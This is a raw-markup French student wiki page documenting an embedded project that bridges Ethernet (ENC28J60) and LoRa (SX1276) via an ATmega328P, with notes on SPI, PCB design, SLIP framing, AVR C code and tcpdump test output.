 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
// schéma&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa.&lt;br /&gt;
Cependant,   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Lorsque nous envoyons des paquets via TX/RX donc ceux sont des paquets SLIP. Pour analyser des paquets, il faut chercher le début et la fin de la trame. Le protocole SLIP modifie le paquet IP de la manière suivante&lt;br /&gt;
&lt;br /&gt;
* ajout d'un octet END afin de séparer les différents paquets&lt;br /&gt;
* si l'octet END est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_END&lt;br /&gt;
* si l'octet ESC est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_ESC&lt;br /&gt;
* une variante du protocole peut commencer et finir les paquets par l'octet END&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:slip.png|400px|thumb|center|Les valeurs des octets modifiées sont les suivantes]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Basé sur ce protocole, nous avons donc écrit le code ci-dessous  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Ensuite pour visualiser les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
